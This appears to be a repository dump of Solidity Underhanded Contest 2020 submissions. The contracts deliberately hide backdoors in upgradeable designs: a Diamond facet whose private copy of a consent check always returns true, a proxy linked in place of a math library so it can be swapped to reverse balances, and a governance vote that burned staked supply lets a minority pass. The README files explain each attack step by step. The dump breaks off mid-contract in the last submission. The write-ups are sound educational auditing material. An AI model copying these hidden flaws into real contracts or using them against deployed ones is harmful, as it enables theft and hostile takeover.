    "content": "# README (INCLUDES SPOILERS)\n\n## Setup\n\nFirst of all, deploying and upgrading contracts is a slow and careful process.\n\nThis uses the Diamond Standard (DRAFT) and carefully follows all documented best practices.\n\nThis deployment scenario shows that by forcing the auditor to complete a full upgrade process in order to get to the grand exploitation. Also, the auditor would need to also update the time delay in the code (`60*60*24*30`) and start over when they realize there is a 30 day delay.\n\nWe're not doing this to hurt the auditors, in fact we even help by providing `*SEL` function for convenience.\n\n## Proof of broken\n\nYou can see that the contract is broken by continuing with these steps which should NOT be possible:\n\n### Prepare to upgrade\n\n*This is another upgrade which should not be possible.*\n\ntx7 use Remix to call `proposeUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*\n\n1. Parameter 1:\n\n   ```\n   [[\"ManagerFacet1\", 1, [\"0x116825ba\"]]]\n   ```\n\n   1. Substitute in `ManagerFacet1` deployed address above \n   2. Note: the `1` corresponds to `Replace` at https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/interfaces/IDiamondCut.sol#L10\n   3. Note: the `0x116825ba` corresponds to upgrading the `isUpgradeConsented()` function on the Diamond contract\n   4. Note: the function selectors above can be confirmed by running convenience `*SEL` functions on deployed contract\n\n2. Parameter 2:\n\n   ```\n   0x0000000000000000000000000000000000000000\n   ```\n\n3. Parameter 3:\n\n   ```\n   []\n   ```\n\n### Veto it\n\ntx8 use Remix to call `vetoUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*\n\n* *No parameters needed*\n\n### Perform upgrade\n\n*:information_source: After 30 days, perform the upgrade*\n\ntx9 use Remix to call `performUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*\n\n:warning: This should fail because the `performUpgrade` will confirm that the upgrade is authorized, right? And the upgrade is not authorized because it was vetoed, right?\n\n:bomb: But actually, the transaction succeeds! :astonished:\n\n## How it works\n\nThe issue is that while yes, the `isUpgradeConsented` was upgraded, and yes, everybody calling that function will see the correct output, there is a second hidden copy of the old function hidden somewhere. Did you find it?\n\nIt's here:\n\n```solidity\n---------------------------------▼\nfunction isUpgradeConsented() public returns(bool) {\n    return true;\n}\n```\n\nIn Solidity, when you declare a function as `public`, there are two copies of the function, the `private` version and the `external` version. `private` + `external` = `public`. Solidity core developers do not trifle with me, whether you implemented it that way or not is an ~implementation detail~.\n\nSo actually, when you upgrade the Diamond contract, only the `external` function is upgraded. The `internal` implementation remains burried under every other function in that contract that reference that function.\n\nAnd in graphic form:\n\n```\n┌─Diamond────────────┐      ┌─ManagerFacet1──────┐     \n│ proposeUpgrade─────┼──────┼▶proposeUpgrade     │     \n│ vetoUpgrade────────┼──────┼▶vetoUpgrade        │     \n│ performUpgrade─────┼──────┼▶performUpgrade──PRIVATE─┐\n│ isUpgradeConsented─┼──┐   │ isUpgradeConsented◀┼────┘\n│ takeScholarship────┼─┐│   └────────────────────┘     \n└────────────────────┘ ││   ┌─ManagerFacet2──────┐     \n                       │└───┼▶isUpgradeConsented │     \n                       │    │                    │     \n                       │    │                    │     \n                       │    │                    │     \n                       │    └────────────────────┘     \n                       │    ┌─ScholarshipFacet1──┐     \n                       └────┼▶takeScholarship    │     \n                            │                    │     \n                            │                    │     \n                            │                    │     \n                            └────────────────────┘     \n```\n\n## Learnings\n\nUsing `private` functions with Diamond contracts is particularly dangerous. This should be called out in the Standard. Also, the Diamond Standard is too long. It should be minified so that important warnings like this actually get read.\n\nAnother possible solution is to modify the Diamond Standard approach so that upgrading any function selector to a new underlying contract requires upgrading ALL function selectors for that contract. I prefer this solution because it is a minor hassle for developers, it is easy to explain when people ask why they need to do it, and it entirely removes this class of vulnerabilities.\n"
  },
  {
    "path": "2020/submissions_2020/submission5_WilliamEntriken/deployment.md",
    "content": "# Deployment Scenario\n\nYou would perform all these actions using Remix JavaScript VM and the \"Account 1\" it creates for you.\n\nThis will match the actual deployed review of these contracts and you can use it to audit in the same environment.\n\n## Deployment step\n\n*:information_source: The purpose of this step is to deploy the standard Diamond contract and attach implementations for management, and the actual functionality of this upgradeable contract which is a simple scholarship.*\n\ntx1 use Remix to deploy `ManagerFacet1`\n\n* *No parameters needed*\n\ntx2 use Remix to deploy `ScholarshipFacet1`\n\n* *No parameters needed*\n\ntx3 use Remix to deploy `Diamond`\n\n1. Parameter 1:\n   \n   ```\n[\n     [\"ManagerFacet1\", \"0\", [\"0x636b14e4\", \"0xf9d94ff3\", \"0x116825ba\", \"0xd00d472e\"]],\n     [\"ScholarshipFacet1\", \"0\", [\"0x9a217710\"]]\n   ]\n```\n   \n   1. Substitute in `ManagerFacet1` and `ScholarshipFacet2` deployed address above \n   2. Note: the `0` corresponds to `Add` at https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/interfaces/IDiamondCut.sol#L10\n   3. Note: the function selectors above can be confirmed by running convenience `*SEL` functions on deployed contracts\n   \n2. Parameter 2:\n   \n   ```\n\"Account 1\"\n   ```\n   \n   1. Substitute in your Account 1 from your JavaScript VM environment\n\n## Prepare to upgrade\n\n*:information_source: Some time later, the community complained that this contract is entirely upgradeable by the owner. The community demands that the veto functionality actually be implemented correctly. The contract owner starts the upgrade process to allow this.*\n\ntx4 use Remix to deploy `ManagerFacet2`\n\n* *No parameters needed*\n\ntx5 use Remix to call `proposeUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*\n\n1. Parameter 1:\n   \n   ```\n[[\"ManagerFacet2\", 1, [\"0x116825ba\"]]]\n   ```\n   \n   1. Substitute in `ManagerFacet2` deployed address above \n2. Note: the `1` corresponds to `Replace` at https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/interfaces/IDiamondCut.sol#L10\n   3. Note: the `0x116825ba` corresponds to upgrading the `isUpgradeConsented()` function on the Diamond contract\n   4. Note: the function selectors above can be confirmed by running convenience `*SEL` functions on deployed contract\n   \n2. Parameter 2:\n   \n   ```\n0x0000000000000000000000000000000000000000\n   ```\n   \n3. Parameter 3:\n   \n   ```\n   []\n   ```\n\n## Perform upgrade\n\n*:information_source: After 30 days, perform the upgrade*\n\ntx6 use Remix to call `performUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*\n\n- *No parameters needed*\n\n## Postcondition\n\n*:information_source: Scenario is complete. At this point the guarantee is that only the owner can perform upgrades after 30 days of a proposal. And this proposal can only be performed if there has been no veto by anybody during that 30 days.*\n\n"
  },
  {
    "path": "2020/submissions_2020/submission5_WilliamEntriken/main.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.7.0;\npragma experimental ABIEncoderV2; // Required for Diamond Standard\n\n// Latest published version now is 1.3.5\nimport \"https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/Diamond.sol\";\nimport \"https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/facets/DiamondCutFacet.sol\";\n\nlibrary ManagerDataA {\n    bytes32 constant DIAMOND_STORAGE_POSITION = keccak256(\"org.soliditylang.underhanded.submission224.storage\");\n\n    struct DiamondStorage {\n        uint256 proposedUpgradeTime;\n        bool hasAnybodyVetoed;\n        \n        // diamondCut() call parameters:\n        IDiamondCut.FacetCut[] readyDiamondCut;\n        address readyInit;\n        bytes readyCalldata;\n    }\n\n    function diamondStorage() internal pure returns (DiamondStorage storage ds) {\n        bytes32 position = DIAMOND_STORAGE_POSITION;\n        assembly {\n            ds.slot := position\n        }\n    }\n}\n\ncontract ManagerFacet1 is DiamondCutFacet {\n    function proposeUpgrade(IDiamondCut.FacetCut[] calldata proposedDiamondCut, address proposedInit, bytes calldata ProposedCalldata) public {\n        assert(msg.sender == LibDiamond.contractOwner());\n        ManagerDataA.diamondStorage().proposedUpgradeTime = block.timestamp;\n        ManagerDataA.diamondStorage().hasAnybodyVetoed = false;\n        delete ManagerDataA.diamondStorage().readyDiamondCut;\n        \n        for (uint256 facetIndex; facetIndex < proposedDiamondCut.length; facetIndex++) {\n            ManagerDataA.diamondStorage().readyDiamondCut.push(\n                FacetCut(\n                    proposedDiamondCut[facetIndex].facetAddress,\n                    proposedDiamondCut[facetIndex].action,\n                    proposedDiamondCut[facetIndex].functionSelectors\n                )\n            );\n        }\n        \n        ManagerDataA.diamondStorage().readyInit = proposedInit;\n        ManagerDataA.diamondStorage().readyCalldata = ProposedCalldata;\n    }\n\n    // Anybody can veto the upgrade, that will stop the owner from upgrading\n    function vetoUpgrade() public {\n        ManagerDataA.diamondStorage().hasAnybodyVetoed = true;\n    }\n\n    // Give owner full permission to upgrade, re-implemented in v2\n    function isUpgradeConsented() public returns(bool) {\n        return true;\n    }\n    \n    function performUpgrade() public {\n        assert(isUpgradeConsented());\n        assert(block.timestamp > ManagerDataA.diamondStorage().proposedUpgradeTime + 60*60*24*30);\n\n        // These lines copy-pasted from\n        // https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/facets/DiamondCutFacet.sol#L26-L36\n        // with variables renamed to ready* as above\n        uint256 selectorCount = LibDiamond.diamondStorage().selectors.length;\n        for (uint256 facetIndex; facetIndex < ManagerDataA.diamondStorage().readyDiamondCut.length; facetIndex++) {\n            selectorCount = LibDiamond.addReplaceRemoveFacetSelectors(\n                selectorCount,\n                ManagerDataA.diamondStorage().readyDiamondCut[facetIndex].facetAddress,\n                ManagerDataA.diamondStorage().readyDiamondCut[facetIndex].action,\n                ManagerDataA.diamondStorage().readyDiamondCut[facetIndex].functionSelectors\n            );\n        }\n        emit DiamondCut(ManagerDataA.diamondStorage().readyDiamondCut, ManagerDataA.diamondStorage().readyInit, ManagerDataA.diamondStorage().readyCalldata);\n        LibDiamond.initializeDiamondCut(ManagerDataA.diamondStorage().readyInit, ManagerDataA.diamondStorage().readyCalldata);\n        // end copy-paste\n\n        delete ManagerDataA.diamondStorage().proposedUpgradeTime;\n        delete ManagerDataA.diamondStorage().hasAnybodyVetoed;\n        delete ManagerDataA.diamondStorage().readyDiamondCut;\n        delete ManagerDataA.diamondStorage().readyInit;\n        delete ManagerDataA.diamondStorage().readyCalldata;\n    }\n    \n    function proposeUpgradeSEL() public pure returns(bytes4) {return this.proposeUpgrade.selector;}\n    function vetoUpgradeSEL() public pure returns(bytes4) {return this.vetoUpgrade.selector;}\n    function isUpgradeConsentedSEL() public pure returns(bytes4) {return this.isUpgradeConsented.selector;}\n    function performUpgradeSEL() public pure returns(bytes4) {return this.performUpgrade.selector;}\n}\n\n/* ******************************************************************************************** */\n\ncontract ScholarshipFacet1 {\n    // This is the well-known address of Mary Princeton, a deserving scholar\n    address payable constant MARY_PRINCETON = 0x829bD824b016326a401D083B33D093a93333a830;\n    \n    // Only the scholar may take funds\n    function takeScholarship() public {\n        assert(msg.sender == MARY_PRINCETON);\n        MARY_PRINCETON.transfer(address(this).balance);\n    }\n    \n    function takeScholarshipSEL() public pure returns(bytes4) {return this.takeScholarship.selector;}\n}\n\n/* ******************************************************************************************** */\n\ncontract ManagerFacet2 is DiamondCutFacet{\n    // Give owner full permission to upgrade, re-implemented in v2\n    function isUpgradeConsented() public returns(bool) {\n        return ManagerDataA.diamondStorage().hasAnybodyVetoed == false;\n    }\n    \n    function isUpgradeConsentedSEL() public pure returns(bytes4) {return this.isUpgradeConsented.selector;}\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission6_GregoryHill/README.md",
    "content": "# Solidity Underhanded 2020\n\n## Upgradable Libraries\n\nSolidity libraries can be linked at deploy time to minimize a contract's footprint. The idea is to reuse particularly expensive code and save on gas, but if a flaw is found, all downstream consumers are affected. It therefore makes sense to consider how these may be upgraded.\n\nWhen considering upgradeable contracts we are likely to adopt the proxy model. This allows the contract authority to upgrade the core logic while retaining the base contract address. It accomplishes this by delegating all unknown calls through the fallback function by forwarding the message payload.\n\nThe upgrade mechanism contained therein utilizes a typical proxy to forward library calls, but since the proxy itself is delegated to we cannot store the implementation address. The solution is to utilize another getter / setter contract for which we can hardcode the address. This allows the authority to easily upgrade the library by updating the address which is pointed to.\n\nIn practice it is more common to upgrade the contract which references a library since we would not expect our dependencies to suddenly change under-the-hood. Looking at the code alone, there is also nothing to indicate that a proxy may be used in-place of a library as the interface is inherited directly.\n\n## Getting Started\n\nThe contracts and libraries are defined solely in `./contracts/Accounts.sol`, with some tests in `./test/upgrade.test.ts`. Users are expected to interact with the `Accounts` contract which is basically a dumb ERC-20 contract. This utilizes the `GoodMath` library for all arithmetic, but the deployer has actually linked a proxy address. This means that the authority may instead forward calls to the `BadMath` library which reverses the expected mathematical operations.\n\n```shell\n# install buidler and deps\nyarn install\n# compile contracts, typescript interfaces\nyarn build\n# run tests\nyarn test\n```\n\n"
  },
  {
    "path": "2020/submissions_2020/submission6_GregoryHill/buidler.config.ts",
    "content": "import { usePlugin } from \"@nomiclabs/buidler/config\";\n\nusePlugin(\"@nomiclabs/buidler-ganache\");\nusePlugin(\"@nomiclabs/buidler-waffle\");\nusePlugin(\"buidler-typechain\");\n\nconst config = {\n  defaultNetwork: \"buidlerevm\",\n  solc: {\n    version: \"0.7.0\",\n    optimizer: { enabled: true, runs: 500 },\n  },\n  paths: {\n    sources: \"./contracts\",\n    tests: \"./test\",\n  },\n  typechain: {\n    outDir: \"typechain\",\n    target: \"ethers\",\n  },\n  networks: {\n    buidlerevm: {},\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "2020/submissions_2020/submission6_GregoryHill/contracts/Accounts.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\nimport \"@nomiclabs/buidler/console.sol\";\n\n/**\n * @dev Simple registry contract to get and set an address.\n * Because the library call to the proxy is delegated, we need \n * another contract we can call directly to retrieve an address. \n */\ncontract Registry {\n\n    address private _account;\n\n    function set(address account) external {\n        _account = account;\n    }\n\n    function get() external view returns (address) {\n        return _account;\n    }\n\n}\n\ncontract Create2 {\n\n    /**\n     * @dev Deploy the given bytecode at a predictable address.\n     */\n    function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) external returns (address addr) {\n        assembly {\n            addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)\n        }\n        console.log(addr);\n    }\n\n}\n\ncontract Proxy {\n\n    // create2 address of registry (see above)\n    address private constant _REGISTRY = 0xe7748b80eE98483c177b7a4Aa041b57b70AfE6F4;\n\n    /**\n     * @dev Calls to this contract are delegated so we need to\n     * retrieve the address of the implementation from the Registry.\n     */\n    function _implementation() internal view returns (address) {\n        return Registry(_REGISTRY).get();\n    }\n\n    fallback () payable external {\n        _delegate(_implementation());\n    }\n\n    receive () payable external {\n        _delegate(_implementation());\n    }\n\n    /**\n     * @dev Delegate any and all calls to this contract.\n     */\n    function _delegate(address implementation) internal {\n        assembly {\n            calldatacopy(0, 0, calldatasize())\n            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n            returndatacopy(0, 0, returndatasize())\n\n            switch result\n            case 0 { revert(0, returndatasize()) }\n            default { return(0, returndatasize()) }\n        }\n    }\n\n}\n\nlibrary GoodMath {\n    \n    function add(uint256 a, uint256 b) public pure returns (uint256) {\n        return a + b;\n    }\n\n    function sub(uint256 a, uint256 b) public pure returns (uint256) {\n        return a - b;\n    }\n\n}\n\nlibrary BadMath {\n    \n    function add(uint256 a, uint256 b) public pure returns (uint256) {\n        return a - b;\n    }\n\n    function sub(uint256 a, uint256 b) public pure returns (uint256) {\n        return a + b;\n    }\n\n}\n\n/**\n * @dev Account store to mint, transfer and view balances (think ERC-20).\n * Delegates math operations to an external library.\n */\ncontract Accounts {\n\n    mapping(address => uint256) internal _balances;\n        \n    function mint(address account, uint256 amount) public {\n        _balances[account] = GoodMath.add(_balances[account], amount);\n    }\n    \n    function transfer(address account, uint256 amount) external {\n        _balances[account] = GoodMath.add(_balances[account], amount);\n        _balances[msg.sender] = GoodMath.sub(_balances[msg.sender], amount);\n    }\n\n    function balanceOf(address account) external view returns (uint256) {\n        return _balances[account];\n    }\n    \n}"
  },
  {
    "path": "2020/submissions_2020/submission6_GregoryHill/contracts/Registry.json",
    "content": "{\n  \"contractName\": \"Registry\",\n  \"abi\": [\n    {\n      \"inputs\": [],\n      \"name\": \"get\",\n      \"outputs\": [\n        {\n          \"internalType\": \"address\",\n          \"name\": \"\",\n          \"type\": \"address\"\n        }\n      ],\n      \"stateMutability\": \"nonpayable\",\n      \"type\": \"function\"\n    },\n    {\n      \"inputs\": [\n        {\n          \"internalType\": \"address\",\n          \"name\": \"account\",\n          \"type\": \"address\"\n        }\n      ],\n      \"name\": \"set\",\n      \"outputs\": [],\n      \"stateMutability\": \"nonpayable\",\n      \"type\": \"function\"\n    }\n  ],\n  \"bytecode\": \"0x608060405234801561001057600080fd5b5060f28061001f6000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80632801617e1460375780636d4ce63c14605c575b600080fd5b605a60048036036020811015604b57600080fd5b50356001600160a01b0316607e565b005b606260ad565b604080516001600160a01b039092168252519081900360200190f35b6000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b03169056fea2646970667358221220390f0194e2a11c9457da13c3cd540a0f966f8134be940477417e947db0d78f0464736f6c63430007000033\",\n  \"deployedBytecode\": \"0x6080604052348015600f57600080fd5b506004361060325760003560e01c80632801617e1460375780636d4ce63c14605c575b600080fd5b605a60048036036020811015604b57600080fd5b50356001600160a01b0316607e565b005b606260ad565b604080516001600160a01b039092168252519081900360200190f35b6000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b03169056fea2646970667358221220390f0194e2a11c9457da13c3cd540a0f966f8134be940477417e947db0d78f0464736f6c63430007000033\",\n  \"linkReferences\": {},\n  \"deployedLinkReferences\": {}\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission6_GregoryHill/package.json",
    "content": "{\n  \"name\": \"solidity-underhanded-2020\",\n  \"version\": \"1.0.0\",\n  \"main\": \"index.js\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"build\": \"yarn run compile && buidler typechain\",\n    \"compile\": \"buidler compile\",\n    \"test\": \"buidler test\",\n    \"deploy\": \"buidler run scripts/deploy.ts\",\n    \"clean\": \"buidler clean\"\n  },\n  \"devDependencies\": {\n    \"@nomiclabs/buidler\": \"^1.1.2\",\n    \"@nomiclabs/buidler-ethers\": \"^1.1.2\",\n    \"@nomiclabs/buidler-etherscan\": \"^1.1.2\",\n    \"@nomiclabs/buidler-ganache\": \"^1.3.3\",\n    \"@nomiclabs/buidler-waffle\": \"^1.1.2\",\n    \"@types/chai\": \"^4.2.8\",\n    \"@types/mocha\": \"^7.0.1\",\n    \"@types/node\": \"^13.7.0\",\n    \"@typescript-eslint/eslint-plugin\": \"^2.21.0\",\n    \"@typescript-eslint/parser\": \"^2.21.0\",\n    \"buidler-typechain\": \"0.0.5\",\n    \"chai\": \"^4.2.0\",\n    \"ethereum-waffle\": \"^2.3.2\",\n    \"ts-node\": \"^8.6.2\",\n    \"typechain\": \"^1.0.4\",\n    \"typechain-target-ethers\": \"^1.0.4\",\n    \"typechain-target-truffle\": \"^1.0.2\",\n    \"typechain-target-web3-v1\": \"^1.0.4\",\n    \"typescript\": \"^3.7.5\"\n  }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission6_GregoryHill/test/upgrade.test.ts",
    "content": "import { ethers } from \"@nomiclabs/buidler\";\nimport { Signer } from \"ethers\";\nimport chai from \"chai\";\nimport { solidity } from \"ethereum-waffle\";\n\nimport { ProxyFactory } from \"../typechain/ProxyFactory\";\nimport { AccountsFactory } from \"../typechain/AccountsFactory\";\nimport { GoodMathFactory } from \"../typechain/GoodMathFactory\";\nimport { BadMathFactory } from \"../typechain/BadMathFactory\";\nimport { Create2Factory } from \"../typechain/Create2Factory\";\nimport { RegistryFactory } from \"../typechain/RegistryFactory\";\n\n// hardcoded to ensure bytecode doesn't change\nimport RegistryArtifact from \"../contracts/Registry.json\";\n\nchai.use(solidity);\nconst { expect } = chai;\n\ndescribe(\"Upgrade\", () => {\n  let signers: Signer[];\n\n  beforeEach(async () => {\n    signers = await ethers.signers();\n  });\n\n  it(\"should deploy contracts\", async () => {\n    const signer = signers[0];\n    const address = await signer.getAddress();\n\n    const create2Factory = new Create2Factory(signer);\n    const create2 = await create2Factory.deploy();\n    // deploy registry at predicted address\n    await create2.deploy(0, Buffer.alloc(32), RegistryArtifact.bytecode);\n\n    const goodMathFactory = new GoodMathFactory(signer);\n    const goodMath = await goodMathFactory.deploy();\n\n    const registry = RegistryFactory.connect(\n      \"0xe7748b80eE98483c177b7a4Aa041b57b70AfE6F4\",\n      signer\n    );\n    // point registry to `GoodMath`\n    await registry.set(goodMath.address);\n\n    const proxyFactory = new ProxyFactory(signer);\n    const proxy = await proxyFactory.deploy();\n\n    // link proxy instead of library\n    const accountsFactory = new AccountsFactory(\n      { __$1e69b7c934b982fb20a88bb82f9f911a54$__: proxy.address },\n      signer\n    );\n    const accounts = await accountsFactory.deploy();\n\n    // account should be credited\n    await accounts.mint(address, 100);\n    expect((await accounts.balanceOf(address)).toNumber()).to.eq(100);\n\n    // replace library with `BadMath`\n    const badMathFactory = new BadMathFactory(signer);\n    const badMath = await badMathFactory.deploy();\n    await registry.set(badMath.address);\n\n    // account should be debited\n    await accounts.mint(address, 100);\n    expect((await accounts.balanceOf(address)).toNumber()).to.eq(0);\n  });\n});\n"
  },
  {
    "path": "2020/submissions_2020/submission6_GregoryHill/tsconfig.json",
    "content": "{\n    \"compilerOptions\": {\n      \"target\": \"es5\",\n      \"module\": \"commonjs\",\n      \"strict\": true,\n      \"esModuleInterop\": true,\n      \"outDir\": \"dist\",\n      \"declaration\": true,\n      \"resolveJsonModule\": true\n    },\n    \"include\": [\n      \"typechain\",\n      \"scripts\",\n      \"test\",\n      \"index.ts\"\n    ],\n    \"files\": [\n      \"./buidler.config.ts\",\n      \"node_modules/@nomiclabs/buidler-ethers/src/type-extensions.d.ts\",\n      \"node_modules/@nomiclabs/buidler-etherscan/src/type-extensions.d.ts\",\n      \"node_modules/@nomiclabs/buidler-waffle/src/type-extensions.d.ts\",\n      \"node_modules/buidler-typechain/src/type-extensions.d.ts\"\n    ]\n  }"
  },
  {
    "path": "2020/submissions_2020/submission7_MarkusWaas/GovernanceModule.sol",
    "content": "contract GovernanceModule {\n    TestERC20 public managedToken;\n    \n    mapping(uint256 => address) public proposals;\n    mapping(uint256 => uint256) public proposalExpires;\n    mapping(uint256 => uint256) public proposalVotes;\n    mapping(uint256 => mapping(address => bool)) public hasVoted;\n\n    uint256 public proposalCount;\n\n    constructor(address custodian) {\n        TestERC20 firstTokenImpl = new TestERC20(custodian);\n        \n        Proxy proxy = new Proxy();\n        proxy.upgradeTo(address(firstTokenImpl));\n\n        managedToken = TestERC20(address(proxy));\n    }\n\n    function proposeUpgrade(address newTokenImplementation) external {\n        proposals[proposalCount] = newTokenImplementation;\n        proposalExpires[proposalCount] = block.timestamp + 5;\n    }\n\n    function voteForUpgrade(uint256 proposalId) external {\n        require(!hasVoted[proposalId][msg.sender], 'Already voted');\n        uint256 stakingTime = managedToken.stakingTime(msg.sender);\n        require(stakingTime < proposalExpires[proposalId] - 10, 'Must stake 5 blocks before proposal was added');\n        \n        uint256 weightedAmount = managedToken.stakedAmount(msg.sender);\n        proposalVotes[proposalId] += weightedAmount;\n        hasVoted[proposalId][msg.sender] = true;\n    }\n    \n    function executeUpgrade(uint256 proposalId) external {\n        require(proposalExpires[proposalId] < block.timestamp, \"Proposal is expired\");\n        require(proposalVotes[proposalId] > managedToken.totalSupply() / 2, 'Proposal not passed');\n\n        proposalVotes[proposalId] = 0;\n        \n        Proxy upgradableToken = Proxy(address (managedToken));\n        upgradableToken.upgradeTo(proposals[proposalId]);\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission7_MarkusWaas/Proxy.sol",
    "content": "contract Proxy {\n    bytes32 private constant IMPLEMENTATION_POSITION = keccak256(\"implementation.address\");\n    bytes32 private constant PROXY_OWNER_POSITION = keccak256(\"proxy.owner\");\n\n    modifier onlyProxyOwner() {\n        require(msg.sender == proxyOwner(), \"Only for proxy owner\");\n        _;\n    }\n\n    constructor() {\n        _setUpgradeabilityOwner(msg.sender);\n    }\n\n    function transferProxyOwnership(address _newOwner) public onlyProxyOwner {\n        require(_newOwner != address(0), \"Only for proxy owner\");\n        _setUpgradeabilityOwner(_newOwner);\n    }\n\n    function upgradeTo(address _implementation) public onlyProxyOwner {\n        _upgradeTo(_implementation);\n    }\n\n    function implementation() public view returns (address impl) {\n        bytes32 position = IMPLEMENTATION_POSITION;\n\n        assembly {\n            impl := sload(position)\n        }\n    }\n\n    function proxyOwner() public view returns (address owner) {\n        bytes32 position = PROXY_OWNER_POSITION;\n\n        assembly {\n            owner := sload(position)\n        }\n    }\n\n    fallback() external {\n        address impl = implementation();\n        require(impl != address(0), \"Impl is 0\");\n\n        assembly {\n            let ptr := mload(0x40)\n            calldatacopy(ptr, 0, calldatasize())\n            let result := delegatecall(gas(), impl, ptr, calldatasize(), 0, 0)\n            let size := returndatasize()\n            returndatacopy(ptr, 0, size)\n\n            switch result\n                case 0 {\n                    revert(ptr, size)\n                }\n                default {\n                    return(ptr, size)\n                }\n        }\n    }\n\n    function _setImplementation(address _newImplementation) internal {\n        bytes32 position = IMPLEMENTATION_POSITION;\n        // solhint-disable no-inline-assembly\n        assembly {\n            sstore(position, _newImplementation)\n        }\n    }\n\n    function _upgradeTo(address _newImplementation) internal {\n        address currentImplementation = implementation();\n        require(currentImplementation != _newImplementation, \"New impl must be different\");\n        _setImplementation(_newImplementation);\n    }\n\n    function _setUpgradeabilityOwner(address _newProxyOwner) internal {\n        bytes32 position = PROXY_OWNER_POSITION;\n        assembly {\n            sstore(position, _newProxyOwner)\n        }\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission7_MarkusWaas/README.md",
    "content": "# Solidity Submission\n\n## Not so decentralized token contract\n\nWe want to create an upgradable token contract that is managed by the token holders themselves. They can stake tokens to be allowed to vote for upgrades. The penalty for staking is that you cannot transfer your tokens for a very long time. This will incentivize people to not stake.\n\n## Attack\n\nLet's assume we have a total token supply of 1000. 50% of all tokens have been staked.\n\nNow somebody with only 175 unstaked tokens comes along.\n\n1. He stakes his tokens.\n2. Waits 5 blocks.\n3. Creates a malicious proposal.\n4. Votes for it himself.\n5. Calls execute => succeeds.\n\nWhy? Because the token supply is reduced during staking. With 50% staked, the `totalSupply` function actually returns only 500. Now the person with 175 tokens stakes => `totalSupply` = 325. We require more than 50% of the totalSupply to vote for a proposal. Since 175 > 325/2, the proposal is executed.\n\nIn our example a person with only 17.5% of the total token supply was able to take over the contract completely.\n"
  },
  {
    "path": "2020/submissions_2020/submission7_MarkusWaas/TestERC20.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.7.4;\n\nimport \"http://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.2.1-solc-0.7/contracts/token/ERC20/ERC20.sol\";\nimport \"./Proxy.sol\";\n\ncontract TestERC20 is ERC20 {\n    mapping(address => uint256) public stakedAmount;\n    mapping(address => uint256) public stakingTime;\n    mapping(address => uint256) public blockedUntil;\n    \n    constructor(address custodian) ERC20('Upgradable','UPG') {\n        _mint(custodian, 1000 ether); // sell/distribute somehow\n    }\n    \n    function _beforeTokenTransfer(address from, address, uint256) internal view override {\n        require(blockedUntil[from] == 0 || block.timestamp > blockedUntil[from] , 'Tokens blocked');\n    }\n    \n    function stakeForVoting() external {\n        require(stakedAmount[msg.sender] == 0, 'Already staking');\n\n        stakedAmount[msg.sender] = balanceOf(msg.sender);\n        stakingTime[msg.sender] = block.timestamp;\n    \n        _burn(msg.sender, balanceOf(msg.sender));\n    }\n\n    function unstake() external {\n        _mint(msg.sender, stakedAmount[msg.sender]);\n\n        stakedAmount[msg.sender] = 0;\n        stakingTime[msg.sender] = 0;\n        blockedUntil[msg.sender] = block.timestamp + 100;\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission8_RichardMoore/Multisig.sol",
    "content": "\ninterface Proxyable {\n    function doPublicSomething() external returns (uint256);\n}\n\n// This is meant to be the simplest multisig I could whip up.\n// Any bugs were not intentional and not part of the hack. ;)\ncontract MyLittleProxyMultisig {\n\n    // The owners\n    mapping(address => bool) _owners;\n    uint _ownerCount;\n\n    // The target address the upgradable proxy will use\n    Proxyable _targetAddress;\n\n    // Proposal Types; for voting on\n    enum ProposalType {\n        Complete,\n        NewOwner,\n        NewTargetAddress\n    }\n\n    // A proposal; for voting on\n    struct Proposal {\n        mapping (address => bool) ballots;\n        uint32 votes;\n        address value;\n        ProposalType proposalType;\n    }\n\n    // All current proposals\n    Proposal[] _proposals;\n\n    event NewProposal(address indexed author, uint proposalId, ProposalType proposalType, address value);\n    event AddedOwner(address owner);\n    event Relinquished(address indexed author);\n\n    constructor(address targetAddress) public {\n        _targetAddress = Proxyable(targetAddress);\n        _owners[msg.sender] = true;\n        _ownerCount = 1;\n\n        emit AddedOwner(msg.sender);\n    }\n\n    function getTargetAddress() external returns (Proxyable) {\n        return _targetAddress;\n    }\n\n    function addProposal(ProposalType proposalType, address value) external returns (uint proposalId) {\n        require(_owners[msg.sender], \"only an owner may add proposal\");\n\n        proposalId = _proposals.length;\n        _proposals.push();\n\n        Proposal storage proposal = _proposals[proposalId];\n        proposal.proposalType = proposalType;\n        proposal.value = value;\n\n        emit NewProposal(msg.sender, proposalId, proposalType, value);\n    }\n\n    function voteProposal(uint proposalId) public returns (bool) {\n        require(_owners[msg.sender], \"only an owner may vote on a proposal\");\n\n        